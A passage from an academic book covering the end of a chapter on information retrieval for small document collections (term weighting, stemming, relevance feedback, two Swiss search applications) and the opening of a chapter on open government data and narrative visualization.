fundamentally in nature as a document collection grows.

As we already stated, it goes beyond the intent of the chapter to deliver a
definitive exploration of all effects of collection size on retrieval effectiveness and
its associated aspects (such as term weighting, term distribution, etc.).8 Instead, our
intention is twofold: firstly, we want to experimentally gather indications of a
changing nature of the retrieval problem by working with a suitable test collection,
and secondly, most importantly, we want to discuss the best practices we derive from
designing retrieval applications operating on small data for the past two decades.

The discussion benefits from a systematic look at the functioning of an informa-
tion retrieval system. From a high-level perspective, an Information Retrieval system
has to solve the following two subtasks (Peters et al. 2012):

1. Indexing: Transform/process the query entered by the user, as well as the items
(typically documents) that are made accessible by the system, into such a form
that they become comparable.

2. Matching: Rank the items through comparison with the processed query in a way
that is most efficient and effective to satisfy the user’s original information need.

Both the “indexing” and “matching” phases are influenced by difficulties ensuing
from the general setup in which we operate: the query may be a less than optimal
expression of the original information need, and the retrieved documents still need to
be digested by the user after the retrieval phase to gather the actual information
needed.

We are now interested in investigating both these subtasks for the influence that
document collection growth has on them. We will base our investigation on our
basic assumption that with an increase in collection size there normally follows an
increase in redundancy. On the basis of this assumption, the difficulties encountered
in solving the indexing subtask, which revolve around the task of bridging between
the language and understanding of the querier and the document author, are partly
alleviated: we can expect to find many different formulations of the same fact as the

8For the most in-depth treatment of the theoretical aspects, we again refer the reader to Hawking and
Robertson (2003).
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collection grows. The problem of picking the right terms or the right word forms
should thus be much less pressing.

When considering the “matching” subtask, common practice is to rank the
matched items by decreasing probability of their (estimated) relevance to the
user’s query.9 This ranking is guided by what in the Information Retrieval literature
is termed a “weighting scheme,” which assigns a score (“retrieval status value”
RSV) to each retrievable item (document). Most popular weighting schemes [tf.idf
and successors (Singhal et al. 1996), Okapi/BM.25 (Walker et al. 1998), Divergence
from Randomness (Amati and van Rijsbergen 2002), and language modeling
(Hiemstra and de Jong 1999)] can be represented as a combination of the same
building blocks. Essentially, these blocks are: a count of the local occurrences of
terms in documents (term frequency, tf), a count of the global occurrences of a term
in the collection (document frequency, df), and some notion of a “document length.”
The underlying assumption always being that the occurrence of the (query) terms is
indicative for the relevance of the document.

It is thus interesting to analyze the influence that term occurrence has on the
“hardness” of the matching subtask. To approach this question, we consider Zipf’s
law (Schäuble 1999). The law states that when compiling a list of all terms in a text
corpus sorted by their descending order of the number of occurrences, in that list it
holds that

cf φið Þ � ri ¼ const:

where cf(φi) (collection frequency) is the total frequency of the term over all
documents in the corpus, and ri is the rank of the term in the list.

Put another way, there are very few terms that occur very frequently and very
many terms that occur very infrequently. In fact, when analyzing text corpora it is
not uncommon to find that more than half of the surface word forms occur only once
or twice. Words that occur only once in a body of text are usually referred to as
“hapax legomenon” in linguistics. Evidently, it is hard to estimate a true weight for a
term based on very few occurrences: in such cases, it is difficult to distinguish
whether the occurrence of a term is meaningful or just “noise.” Increasing the
collection size should have the effect of “shifting” the Zipf curve: terms will have
an increased number of occurrences overall, and weighting thus becomes more
stable. Note, however, that inevitably a number of new word forms or terms will
be introduced by the increase, which in turn will have very few occurrences. That is,
the fundamental problem with the Zipf curve and the behavior of language, in that
many terms are used only infrequently, does not change—but in absolute terms, we
have more terms that reach a “useful” level of term occurrences.

9This modus operandi is supported by the so-called Probability Ranking Principle. See for example,
Robertson (1977).
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3.2 Hapax Legomena

We have studied this behavior with the help of a document collection used in the
CLEF evaluation campaigns for Information Retrieval systems (Peters and Braschler
2001), the “LA Times 1994 collection.” This collection contains 1,13,005 news
articles in English language covering the whole of the year 1994. Total size is
approximately 420 MByte of text (including minimal structural formatting). Since
the news articles have a timestamp, we can analyze the “stream” of news articles
with regard to term occurrence. To this end, we start with 1 month of articles
(January) (“small” collection), expand to 6 months (first half of 1994) (“half”
collection) and finally process the entire year (“full” collection).

As expected, word occurrence in the LA Times articles follows Zipf’s law. Over
the entire year, ~228 k different “words” or rather “word forms” are used (we are
strictly looking at “unique character strings” here, not at words in a linguistic
sense).10 A plot of the word occurrence frequencies is shown in Fig. 13.1.

How does the number of words develop as we follow the “stream” of articles? If
we start with the month of January, we find more than 79 k unique character strings
for that 1 month. As we progress to include the whole first half of 1994, that number
grows to ~167 k; a substantial increase, but clearly below linear growth: approxi-
mately equal to 27 k new word forms per month. Expansion to the whole year further
slows this growth to ~19 k new word forms per month. This slowdown in the
number of new word forms cannot be attributed to the overall number of articles per
month or their length; we observe no meaningful change as the year progresses in
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Fig. 13.1 Plot of word occurrence frequencies in the LA Times 1994 news article collection. For the
purpose of this plot, we look at unique character strings. On the left, all such words (~228 k) are
plotted: it is nearly impossible to discern more than an “L” shape: very few words are extremely
frequent, while the vast majority of words are very rare. The right graph shows a magnified crop of
the full graph on the left: a bend becomes apparent

10Terminology is tricky in these cases. A number of concepts we use here have multiple or vague
definitions depending on the viewpoint of the sources. For this chapter, by “word” or “word form”

we denote a unique character string, that is, for our discussion, “house” and “houses” are two
“words.” The occurrence of such a word is often denoted a “token” in IR literature. A “term” then is
a (potentially) normalized representation of a token, as produced during the indexing phase of an IR
system.
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either of these measures (as should be expected). The slowdown is rather due to the
fact that with adding new articles, previously seen words are repeated.

This potential shift for words from having few observations to having a larger
number of occurrences is interesting, as it may provide us with more evidence to
weigh the corresponding terms for retrieval. In our “small” collection, 24 k out of
79 k words appear only once in the entire body of text (collection frequency cf. ¼ 1;
again, this is conformant with what we expect from Zipf’s law—a lot of words are
used very infrequently). Another way to look at this slanted distribution of word
occurrences is that 29 k words appear in one article only (document frequency
df ¼ 1). The numbers increase to 51 k words with cf. ¼ 1 and 64 k words with
df ¼ 1, respectively, for the “half” collection. In the “full” collection, we find 72 k
cases of words with cf.¼ 1 and 91 k cases of words with df¼ 1. While the number of
hapax legomena therefore grows with increasing collection size, of course the
number of non-hapax “words” grows as well. The proportion of hapax legomena
compared to all words hovers around 30–31% and changes little as we vary
collection size.

Given the above focus on term weighting, most interesting is how many “words”
that occur only once in the “small” collection gain additional observations. We
found that this is the case for ~18 k words, thus around three quarters of all hapax
legomena, which is an indication that term weighting could benefit from the collec-
tion size increase. The main problem with this line of argument is that influence of
term weighting is difficult to measure directly, as term weighting is not an end in
itself.

3.3 Term Weighting Depending on Collection Size

Judging from our observations on term occurrence, we would expect that term
weighting should improve when collection size increases. All other parameters
remaining equal, we would therefore hope that retrieval effectiveness, that is, the
ability of the system to retrieve relevant items, will increase.

Retrieval effectiveness is usually measured through the two measures “precision”
and “recall.” Precision is defined as the number of relevant documents retrieved in
relation to the total number of documents retrieved, while recall is defined as the
number of relevant documents retrieved in relation to the total number of known
relevant documents. A system with high precision values will retrieve few irrelevant
items, while a system with high recall values will miss few relevant items. For details
on how to calculate the measures on ranked lists, see, for example, Schäuble (1999).

The two measures frequently stand in conflict: a high precision implies a system
that avoids retrieval of irrelevant documents, and thus likely uses a conservative
matching strategy: only the best matching items are retrieved. As a consequence,
relevant items may be missed as well, and recall suffers. Conversely, high recall
implies an aggressive matching strategy that may introduce more noise into the
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result. Precision and recall values are thus often reported as a precision–recall curve,
tracking the changes of precision as recall increases.

It is oftentimes assumed that users on large collections care mainly about preci-
sion. Test collections for IR system evaluation such as TREC VLC (Hawking and
Thistlewaite 1997) use mainly precision-related measures for their comparisons.
Please note that determining recall values becomes prohibitively difficult as collec-
tion size increases; conceptually, the whole document collection (every single
document) needs to be scanned to obtain the true number of relevant documents
for each query.

For similar considerations, Hawking and Robertson (2003) use Precision@10
(P@10; precision after ten retrieved documents) as the measure for their discussion.
They find that Precision@10 should go up as collection size increases, that is, the
number of irrelevant items in the top ranks of the result list decreases. We would—
considering our discussion in this chapter so far—expect to see a similar effect when
toggling between our “small” and “full” collections. It is, however, difficult to make
a direct comparison, as our “small” collection has only approximately six relevant
items on average per query—which would directly influence the P@10 values.11

Trec_Eval,12 the tool commonly used for reporting effectiveness measures for
ranked retrieval, offers Precision@5 (P@5) as the best alternative, which we use
for our following discussion. Indeed, using the queries from the CLEF campaign, we
measure an 86% increase when using short, keyword-style queries13 and an 81%
increase when using longer, sentence-style queries as we go from the small to the full
collection (see Table 13.1). These differences are statistically significant at signifi-
cance level α ¼ 0.01.

This result needs to be interpreted with care: as Hawking and Robertson (2003)
point out, such results may well be an artifact of the measure and the behavior of the
system: if a system has a typical precision of 40% at a recall level of 10%, the
precision at a fixed cutoff point (such as, in their case, 10 documents) is highly likely
to increase with collection size, since the absolute number of relevant items can be
expected to rise. Thus, it remains unclear if the better retrieval effectiveness we
observe can really be attributed to better term weighting. In any case, there is a

Table 13.1 Runs on both the “small” and “full” collection, no special indexing. P@1 increases as
the collection size grows, MAP decreases with growing collection size

Small collection Full collection

P@5 MAP P@5 MAP

Short queries 0.2231 0.3195 0.4154 0.2178

Long queries 0.2846 0.4278 0.5154 0.3098

11The system could never attain a perfect score of 1.0.
12Obtainable at https://github.com/usnistgov/trec_eval
13The short queries have an average length of 2.8 (key-)words, whereas the long queries have an
average length of 18.5 words. These numbers will vary slightly depending on indexing measures
taken, such as stemming or stopword elimination (for more on this, see below).
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measurable improvement in performance with respect to Precision@5 with
increased collection size.

To underscore the caveat with respect to retrieval effectiveness, we can alterna-
tively look at the “mean average precision” measure (MAP) (again reported in
Table 13.1). This measure averages precision values over all recall levels (Schäuble
1999). Like Precision@ x, MAP is not without problems: precision and recall are
effectively merged into one measure, which makes interpretation difficult when a
user expresses a clear preference for one of the two criteria (as is often the case for
very large collections, see above). Still, the measure is popular, if only for essentially
providing a way to score the retrieval effectiveness with a single number. When
looking at MAP numbers, we see that performance falls by 27–32% depending on
query length when we increase collection size. Significance testing of these results
paints a mixed picture: while the result on long queries is statistically significant at
significance level α ¼ 0.05, the result on short queries falls just shy of this
threshold.14

We can thus refine our observations with regard to the difficulty of the retrieval
problem with respect to increasing collection size:

• As collection size increases, it becomes easier to match at least some relevant
items.

• As collection size increases, it becomes harder to match all relevant items.

3.4 Impact of Collection Size on Vocabulary

Our investigation on the influence of collection size with regard to term weighting
has addressed mainly the matching phase of retrieval, that is, how the similarity
between query and retrievable item (document) should be determined. As we have
pointed out earlier, an indexing phase precedes the matching phase. In essence, we
have to make things comparable first before we can calculate similarities. The
indexing phase thus extracts the terms, and normalizes them to an appropriate
degree, to alleviate problems originating from linguistic phenomena such as mor-
phology (word forms, such as singular/plural, past/present, etc.) and synonymy/
homonymy. Authors have considerable freedom on how to express their thoughts in
natural language: while a user may be looking for a “good bank,” the author may
have written about “reputable financial institutes.” We claim that these differences
are particularly problematic when collections are small. Additional redundancy in
large collections may alleviate the problem, as many different formulations of the
same information may be present—the user will at least match some relevant items,
regardless of actual formulation.

14For all significance tests, we used a tool based on the findings of Smucker et al. (2007).
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To explore this assumption, we have measured how many different word forms
per “base form”

15 are used in the “small” and “full” collections. To carry out this
analysis, we need a mechanism to link the different word forms to their base form,
that is, we conflate word forms “with the same meaning” to a set.16 We have a
slightly different focus than in linguistics, as we are less interested whether word
forms are related in a linguistic sense and more whether a conflation of two word
forms increases the number of matches in a way that leads to better retrieval
effectiveness. Consequently, in Information Retrieval, a “stemmer” is often
employed to deal with issues of morphology. A stemmer is a rather crude, rule-
based component that tries to strip suffixes and prefixes from word forms in order to
reduce them to “stems” [for a good overview, see Hull (1996)]. In a stemmer, we
accept output that is potentially incorrect from a linguistic perspective.17 By running
a stemmer on the vocabularies derived from our different sized collections, we can
determine how large the groups of word forms are that get conflated. This, in turn,
indicates how much leeway a querier has to match documents containing any one of
these forms in the absence of a stemmer.

We find that while there are on average 1.36 different word forms per stem in the
“small” collection, 1.68 word forms (+24%) can be found in the “full” collection.
This indicates that it is indeed easier to match at least some relevant items as the
collection grows, whereas we need additional measures, such as the use of a
stemmer, when a collection is smaller.18

The latter conclusion can be put to a simple test by running our set of CLEF
queries on the “small” and “full” collections with stemming toggled on and off. The
results we obtained from this test were mixed. We did, however, find by far the
biggest benefit of stemming when queries are short and the collection small, which
indeed is the configuration where we expect that finding the exact right form
becomes hardest for the querier. In this situation, we measured an increase of 22%
when switching stemming on. In all other cases (longer queries and/or larger
collection), the difference between stemming and not stemming was negligible.
Note, however, that the effectiveness of stemming in English has been debated
before [e.g., in Harman (1991)]; it is usually claimed that stemming has much
more impact for other languages, which have a richer morphology, such as German
(Braschler and Ripplinger 2004).

15This could be the “lemma” as used in linguistics, but can also be a different representative, as
output by a stemming process – see below.
16The analog in linguistics is called “lexeme.”
17Consider, for example, the word “footer,” which denotes a repeated block of text that appears at
the bottom of all pages of a document. Clearly, the word is derived from “foot.” A conflation of the
two words is however very likely to introduce mainly noise into the search results, and should
therefore be avoided. On the other hand, being rule-based, stemmers typically cannot handle all the
irregularities of natural languages. As a result, word forms that are related in meaning may not
conflate.
18We would expect similar effects for linguistics phenomena such as synonyms.
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4 Example Retrieval Applications Operating on Small Data

We have so far demonstrated that indications are such that both the indexing and
matching phases benefit from an increasing size in the collection: it becomes easier
to find at least some relevant items, due to more variety in the vocabulary used to
represent information, and due to more detailed term occurrence statistics. How can
we address the difficulties of retrieving documents from small collections?

For the remainder of the chapter we want to briefly outline two example retrieval
applications that operate on Small Data per our definition. The two applications
serve to illustrate best practices we have derived from nearly two decades of work on
similarly sized document collections.

The first application, “Stiftung Schweiz,” allows access to descriptions of all
(charitable) foundations in Switzerland. The service addresses both applicants that
are looking for the right place to submit their proposals, and the foundations
themselves, which can publicize their strategies and programmes in the hope of
attracting the right audience (Buss and Braschler 2015). In all, descriptions of
approximately 13,000 foundations can be accessed—a very comprehensive, helpful
index for applicants, but hardly a document collection of “Big Data” proportions.
We describe a development version of the application that was built during a joint
innovation project with the company running the service.19 The operational service
has since slightly deviated from this form.

The consequences of the “Small Data” nature of such a search application can be
illustrated with a simple search: consider a fictional applicant that proposes to
preserve traditional beer brewing handicraft. Such an applicant may start the search
for funding opportunities very much in “web-search style” by inputting “bier”
(German for “beer”) as initial query.20 Let us stick with the web search comparison
for a minute. Suppose the identical query is sent to the Google Web Search service.21

At the time of the composition of this article, this query returns nearly 80 million
hits. Clearly, there is not much urgency to generate even more hits through measures
such as stemming. We also certainly have ample occurrences of the word to base
term weighting on. How does this compare to what we experience on the data
underlying the “Stiftung Schweiz” application? In fact, no description of any
foundation contains the word “bier.” If we do an “exact” matching we will either
get no matches at all, or will at best return some irrelevant matches if we extend the
search to additional fields such as persons involved in the foundations, since there
actually is a person with last name “Bier” in the collection. Both approaches are not
helpful to the information need of the applicant.

19The application can be publicly accessed at www.stiftungschweiz.ch. The development of the
search mechanisms has been partially funded by the Swiss agency CTI under grant no. 15666.1.
20It has been reported numerous times that users tend to input very short queries in web search.
Spink et al. (2001) report an average query length of 2.1, with approximately 27% of all queries
consisting of a single keyword.
21www.google.ch for Switzerland.

13 The Beauty of Small Data: An Information Retrieval Perspective 245

http://www.stiftungschweiz.ch
http://www.google.ch


How do we address this more complex matching problem? As demonstrated in
our analysis of the nature of retrieval on small versus big document collections
above, there are essentially two ways to approach the problem, both of which were
explored during the work on the application. We have to help the applicant to find
the right terms (vocabulary problem) and use the right word forms (morphology
problem). We have demonstrated that vocabulary grows with collection size, making
the task of picking terms that match easier. We cannot easily grow the collection in
this case,22 but we can extend the query—increasing the number of query terms
should consequently increase the chances of some of them retrieving matches. Such
query expansion can be implementing by allowing users to up-vote and down-vote
items from the result list. Based on these votes, the application automatically derives
new query keywords and calculates a refined result list. The implementation is based
on a process called “relevance feedback” [see, e.g., Peters et al. (2012)]. As a
consequence, the application is built to handle (very) long queries—it benefits
from users sharing as much information as possible about their information needs.
Applicants can even upload entire proposals in place of entering keywords for a
query. The proposal in its entirety is then matched to the descriptions of the
foundations.

The morphology problem can be addressed by using a suitable stemming com-
ponent, as discussed above. The German language allows the formation of very
complex compound nouns—for example, “phone number” in German becomes
“Telefonnummer,” and “soccer world cup” becomes “Fussballweltmeisterschaft.”
The same information can nearly always be paraphrased by using the individual
components of the compound: “Nummer eines Telefons,” “Weltmeisterschaft im
Fussball,” etc. A component that splits the compounds (“decompounder”) is thus
combined with the German stemmer.

When we use all these measures, the applicant actually gets a more helpful result:
it turns out that there is in fact a foundation associated with the Swiss brewery
association—see Fig. 13.2. The description of this foundation does not contain the
word form “Bier,” but the application is able to derive a match from
“Bierbrauervereins”23 (literally “of the brewery association”). Would we need to
go to these lengths in the Google example? Clearly not. Here, however, the avail-
ability to generate these matches is crucial.

To further illustrate how query expansion can alleviate the vocabulary problem,
we consider a second retrieval application, named “Expert Match.”24 This applica-
tion was built for in-house usage by a recruiting company to find candidates for
highly specialized positions where only a small number of suitable candidates can be

22Although preliminary work on enriching the descriptions was actually carried out.
23Although it may appear so on surface for this specific example, substring matching, for example,
simply detecting the character string “bier” in the word, is no alternative here, since it would add a
lot of noise, such as place names starting with “Bier. . . .”
24The development of this retrieval application has been partially funded by the Swiss agency CTI
under grant no. 13235.1.
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expected to exist. The specificity of the positions implies that the CVs of potential
candidates rarely contain the exact terms to match information such as job titles—
rather, information about degrees and past employers is listed. While pertinent, this
information can only provide a tenuous link to the position that is to be filled. The
application contains the profiles of several tens of thousands of professionals, so
there should be suitable candidates for many needs, but we are very far from Big
Data territory where we could expect to obtain matches for arbitrary formulations.

Again, we address the problem by introducing “relevance feedback” to the
application: the recruiter starts by providing as much information as possible about
the position: job advertisement, company description, potentially even information
about predecessors. This leads to a very comprehensive, but potentially fairly noisy
list of candidates. The recruiter can now assess as many of the candidates with
respect to their suitability for the position as is desired, and then start a new, refined
search. The application automatically constructs a long query that tries to encapsu-
late both explicit criteria derived from the original description of the position as well
as implicit criteria as extracted from the information on the candidates that were
assessed. Crucially, this way candidates can be found that share few or none of the
obvious keywords in the job description—we observed that often connections were
established based on the companies with which other interesting candidates have
been previously involved. Figure 13.3 shows a screenshot of the simple interface the
application uses: the recruiter can traverse a list of candidates that have been ranked
by their estimated probability of being suited to the position, and then decide by a
drag-and-drop operation on whether or not the candidate is interesting. Based on
this, multiple new, refined search cycles can be started.

Fig. 13.2 The “Stiftung Schweiz” application matches an item that does not contain the keyword
of the query, based on stemming and decompounding components
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5 Conclusions: Best Practices for Retrieval on Small
Document Collections (Small Data)

We have argued in this chapter that while there is ample justification to be excited
about the ability to process huge amounts of data to gather potentially new insight
(“Big Data”), there are many interesting (search) problems that operate on document
collections that are far smaller. Counterintuitively, difficulty does not necessarily
follow size: for example, while more hardware may be needed to process the sheer
amount of data as the size of a document collection grows (making processing more
difficult on that count), it is often demonstrably easier to match some relevant items
during retrieval on that bigger collection.

Consequently, much like Information Retrieval on Big Data has its unique
challenges, specific measures should be taken when a document collection is
small. We have concentrated on the observation that with less factual redundancy,
it becomes both harder to establish matches between keywords by the searcher and
word (forms) used by the original authors, as well as weigh them accurately for
calculating similarity scores. Our work on two retrieval applications, “Stiftung
Schweiz” and “Expert Match” has served as examples of search on small document
collections, and forms the basis for conclusions that we can derive from having built
many more such applications.

Fig. 13.3 The recruiter assesses candidate profiles by dragging the respective entries to the positive
or negative “bins.” Names have been blurred for privacy reasons
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Specifically, we venture the following best practices:

• Increase the occurrences per term for better term weighting by using stemming
(and, in languages such as German that have a rich compound formation process,
use decompounding).

• Synthesize new, additional keywords for the query from known, relevant items
(“relevance feedback”). This helps to match items that do not share any of the
original keywords, possibly due to synonymy issues.

• Increase the number of matches between keywords of the query and documents
by (again) using stemming.

• Enrich the target items/documents with additional information, for example, from
external sources such as the web.

Additional measures may include the provision of facilities to browse the infor-
mation (e.g., through categorization), as well as measures that allow the crossing of
language and/or media boundaries, thus potentially opening up more items for
retrieval.

Most of our recommendations do not readily translate to retrieval applications
operating on very large document collections, where the searcher’s focus is on high
precision (i.e., retrieving a few, highly ranked, relevant items). Both relevance
feedback and stemming/decompounding are computationally relatively costly,
which hinders adoption in such cases. As we have discussed, there is also usually
less urgency due to higher likeliness of variety in how information is represented.

Acknowledgments The retrieval applications “Stiftung Schweiz” and “Expert Match” were
partially funded by Swiss funding agency CTI under grants no. 15666.1 and no. 13235.1.
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Chapter 14
Narrative Visualization of Open Data

Philipp Ackermann and Kurt Stockinger

Abstract Several governments around the globe have recently released significant
amounts of open data to the public. The main motivation is that citizens or compa-
nies use these datasets and develop new data products and applications by either
enriching their existing data stores or by smartly combining datasets from various
open data portals.

In this chapter, we first describe the development of open data over the last few
years and briefly introduce the open data portals of the USA, the EU, and Switzer-
land. Next we will explain various methods for information visualization. Finally,
we describe how we combined methods from open data and information visualiza-
tion. In particular, we show how we developed visualization applications on top of
the Swiss open data portal that enable web-based, interactive information visualiza-
tion as well as a novel paradigm—narrative visualization.

1 Introduction to Open Data

The idea of freely sharing open data has been around for several decades. For
instance, the World Data Center1 developed a concept for open access to scientific
data in 1957–58. However, the open data movement for access to public data has
only recently gained worldwide traction (Bauer and Kaltenböck 2011). One of the
main drivers of the movement2 is Tim Berners-Lee, who is often considered as the
father of the World Wide Web. The main goals are to make local, regional, and
national data electronically available to the public and to lay the foundations for
different actors to build rich software applications upon them.
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1www.icsu-wds.org
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Another important driver in the open government data movement is “The Mem-
orandum on Transparency and Open Government” signed by US President Barack
Obama shortly after his inauguration in January 2009 (Orszag 2009). The aim was to
establish a modern cooperation among politicians, public administration, industry,
and private citizens by enabling more transparency, democracy, participation, and
collaboration. In European countries, Open Government is often viewed as a natural
companion to e-government (Bauer and Kaltenböck 2011).

Figure 14.1 shows an aggregated number of open data catalogs curated by experts
around the world. We can see that the major activities are in Europe and the East
Coast of the USA.

Table 14.1 shows some facts about the open data portals provided by the USA,
the European Union, and Switzerland. We can see that the US portal contains 1, 92,
322 datasets, while the portals of the European Union and Switzerland contain
10,702 and 2169, respectively. More interesting from our viewpoint, however, is
the utilization of these datasets and thus the applications that are built upon them.
The web portals currently list 76, 70, and 30 applications for the USA, the EU, and
Switzerland, respectively. The applications are very diverse and are in the areas of
health, finance, environment, government, etc. These exemplary applications dem-
onstrate the great potential in harvesting open data and thus generating either new
business models or new services for citizens.

Different countries pursue different strategies with Open Government Data
(Huijboom and Van den Broek 2011). Whereas the emphasis of the USA is on
transparency to increase public engagement, Denmark, for example, underscores the

Fig. 14.1 List of data catalogs curated by experts around the world (http://dataportals.org/)

Table 14.1 Open data portals of the USA, the EU, and Switzerland as of April 2017

Open data portal Provider Number of datasets Number of applications

data.gov US Government 1,92,322 76

European Union 10,702 70

https://opendata.swiss Swiss Government 2169 30
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opportunities that open data offers for the development of new products and services.
The UK explicitly mentions the use of open data to strengthen law enforcement.

The Global Open Data Index3 annually measures the state of open government
data around the world. The index measures the level of conversion to open data
based on datasets provided by different areas such as national statistics, government
and budget, etc. (see Table 14.2). According to the 2015 ranking, Taiwan is leading
ahead of the UK and Denmark.

Open data is stored in portals under various formats such as comma separated
values (CSV), PDF, or text files. However, the main storage technologies and APIs
are based on two major frameworks:

• RDF (Resource Description Framework) and its query language SPARQL
• CKAN (Comprehensive Knowledge Archive Network)

RDF and SPARQL are the main technologies used for the semantic web as well
as the Linked Data4 movement. In RDF, every data item is stored as a triple of
subject, predicate, and object, and enables linking objects on the web via URIs
(uniform resource identifiers).

SPARQL is the query language for accessing data stored in RDF. It can be
considered as the equivalent of SQL for relational databases.

RDF and SPARQL are used as the underlying technology for the open data
portals of the European Union.

CKAN is an open source data catalog for storing and distributing open data
developed by the Open Knowledge Foundation.5 CKAN is used by the open data
portals of the USA, the UK, and Switzerland.

In principle, the above-mentioned storage catalogs are not compatible. However,
there exist SPARQL extensions for CKAN, which enable querying data stored in
CKAN via SPARQL. An advantage of RDF/SPARQL over CKAN is that it is used
by a much larger community, in particular by Linked Data, as discussed previously.

Table 14.2 Top 10 ranking
open government data by
country as of 2017 (http://
index.okfn.org/)

Rank Country Score (%)

1 Taiwan 90

2 Australia 79

2 Great Britain 79

4 France 70

5 Finland 69

5 Canada 69

5 Norway 69

8 New Zealand 68

8 Brazil 68

10 Northern Ireland 67

3http://index.okfn.org/
4http://linkeddata.org/
5https://okfn.org/
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Moreover, CKAN is merely a storage archive solution, while RDF/SPARQL pro-
vides standards for storing and querying data embedded in a rich semantic
framework.

2 Visualization Techniques

The primary goal of visual presentations of data is to enable the discovery and
mediation of insights. Data visualization supports users in intuitively exploring the
content of data, identifying interesting patterns, and fosters sense-making interpre-
tations. Starting with a table of numbers is not an efficient way of interpreting data—
an experience that is also commonly expressed in the idiom “a picture is worth a
thousand words.” Complex information can only be slowly digested from rows of
tabular data. By using graphical representations, we leverage the fact that our visual
perception and our human cognition processes are more effective (Ware 2012).

In data-driven projects, analysts often map table-based datasets to data graphics.
Embedded data visualization tools in MS Excel or R provide standard chart types
such as bar charts and scatter plots to easily generate data graphics. Visual discovery
with data graphics takes advantage of the human’s capacity to grasp a lot of
information and identify patterns from visual representations of abstract data. Data
graphics is already helpful with small amounts of data and becomes essential when
datasets get bigger. Visually investigating data supports therefore discoveries driven
by observation during exploratory analysis.

If the explored data sources reflect a certain complexity, analysts would like to
interactively browse through the underlying databases. This demands for interactive
information visualization (Shneiderman 1996) that enables users to ask additional
questions and to dive into the underlying data within an elaborated information
architecture. Because database schemas are not per se capable to evoke a compre-
hensible mental image, an information architecture transforms data sources toward
mental models. We will provide a concrete example in Sect. 4.

After several iterations, the analyst may discover some findings worth presenting.
Additional efforts are needed to make insights available to a wider audience. By
providing an elaborated content structure within a semantic vocabulary and specific
interaction patterns to filter, drill-down, and navigate through the information space,
users better understand the presented content within an interactive information
visualization.

If the underlying data sources provide the basis for several insights, analysts
would like to communicate findings in a guided manner while maintaining the
interactive exploration to users. Documenting the discovery of insights by guiding
users through data landscapes is supported by narrative visualization techniques
(Segel and Heer 2010). By presenting curated data exploration, users can step
through a story, but also interactively explore the underlying datasets to gain their
own insights. Data-driven journalism applies narrative visualization to present
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interactive visual stories. A good, illustrative example that was produced by
Bloomberg is shown in Figs. 14.2 and 14.3.

Narrative visualization depicts key insights using storytelling with animations
and therefore enhances data graphics and information visualization. Applications of

Fig. 14.2 Excerpts from a sequence in a narrative visualization (www.bloomberg.com/dataview/
2014-04-17/how-americans-die.html). The figure shows the declining mortality from 1968 to 2010.
For men the improvement was most significant

Fig. 14.3 Excerpts from a sequence in a narrative visualization (continued). The figure attributes
the increased mortality rates in the 1980s and 1990s for 25–44-year-olds to AIDS
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data visualization often use a mix of data graphics, interactive information visuali-
zation, and narrative visualization (Fig. 14.4). Applications using interactive and
narrative visualizations need custom development of specific software to present
findings to end users. To reach many users, such visual presentations are often
deployed via the Internet or via an organization-specific intranet. Development
libraries for web-based interactive data visualization such as Shiny6 (Beeley 2016)
and d3.js7 (Bostock et al. 2011) provide core visualization technologies and many
examples in the continuum of the three data visualization types.

3 Data Visualization Workflow

The workflow for developing data visualizations comprises several steps for data
processing, information modeling, and presentation authoring (see Fig. 14.5).
Although the workflow process is mainly sequential, typically many iterations for
refining the deliverables are needed to create convincing data visualization results.

Fig. 14.4 Types of data visualizations

Fig. 14.5 Data visualization workflow

6shiny.rstudio.com
7www.d3js.org
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Data Processing Phase A first step in data processing includes the discovery,
identification, and acquisition of available data sources. With a certain interest and
goal in mind, analysts make decisions about extracting and filtering relevant
datasets. By combining different data sources their diverse content may be
transformed to equal number formats and unit measures or may be converted by
resampling to common time intervals. During the transformation and cleansing
phase, a strategy needs to be developed to deal with wrong and missing values.

Information Modeling Phase Without knowing the content of data sources upfront,
analysts explore and analyze the content with an open mindset oblivious to what
exactly they are searching for. Exploring unknown datasets means interactively
performing a sequence of queries to gain insight and understanding. During such
data mining iterations an analytical model is elaborated by calculating statistical
results that enhance the raw data. Additionally to the analytical model focused on
numerical calculations, textual data needs to be brought into an information archi-
tecture (Rosenfeld and Morville 2015) by applying a unified content structure and
using an explicit, typically domain-specific ontology that standardizes on used
vocabulary and classifications.

Presentation Authoring Phase Once a unified information model is established,
decisions have to be made how to map data to visual representations. The generation
of data graphics compromises visual mappings to shapes, positions, dimensions,
rotations, colors as well as the overall chart layout. If interactive information
visualization should be provided, user interaction for navigation, filtering, and
drill-downs need to be developed to communicate complex insights. The visual
information seeking mantra by Ben Shneiderman “Overview first, zoom and filter,
then details on demand” (Shneiderman 1996) requires some preprocessing in order
to structure and aggregate the data to create overviews and drill-down navigation
paths. If narrative visualization is aimed to additionally achieve storytelling, anima-
tions become part of the data visualization workflow.

4 Visualization for Exploring Open Data

By working through the data visualization workflow, data visualization itself is used
to iteratively improve the results. Visual representations of data are helpful in
gaining insights and in making evidence-based decisions to reach a convincing
information presentation. Data exploration and analysis tools such as Tableau8 and
QlikView9 provide interactive environments to inexpensively run visual analytics on
a variety of data sources.

8tableau.com
9qlik.com
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The content of open data sources is often represented as relational tables in a
database. In order to get familiar with an unknown database, Waser (2016) devel-
oped a visualization tool for SQL databases (see Fig. 14.6) to visually explore the
structure and the content in parallel. The tables of the database are visually arranged
in a circular layout showing the relations between tables that are color-encoded as
arcs. Selecting tables and/or relations in the visual diagram automatically generates
queries with corresponding joins. These visual queries are executed on the fly and
the query results are shown as tables that can be sorted and filtered.
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Fig. 14.6 Visual exploration of data structure and data content (Waser 2016). © 2016 Zurich
University of Applied Sciences, reprinted with permission
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Providing such easy to use visual queries, users can investigate the data and gain
insights in the structure and content of the database. On demand, histograms provide
statistical evaluation of the content of table fields. Such visual data mining and
exploratory data analysis tools help data analysts to make discoveries of patterns and
trends driven by observations. These insights will then build the basis for interesting
features worth presenting to a wider audience by developing specific information
visualization applications.

5 Narrative Visualization for Presenting Open Data

We now describe how we used the Swiss open data portal to present the situation of
health care services in Switzerland. Before the data was visualized, several data
preprocessing steps were required.

In our case, we used the CKAN API provided by the Swiss open data platform to
access the data. This API gives access to the metadata about the datasets, such as data
owner, time of upload, description about the datasets, etc. However, it turns out that
in most cases the metadata could not be directly used for visualization since the
attribute description or units were missing. In this case, we needed to add the
metadata manually.

Most of the data provided at the Swiss open data platform are in ODS-format,
which cannot be directly read by the visualization framework D3.js. Hence, we
needed to transform all datasets into tab-separated values (TSV) to enable visuali-
zation. Note that each additional data transformation step might introduce potential
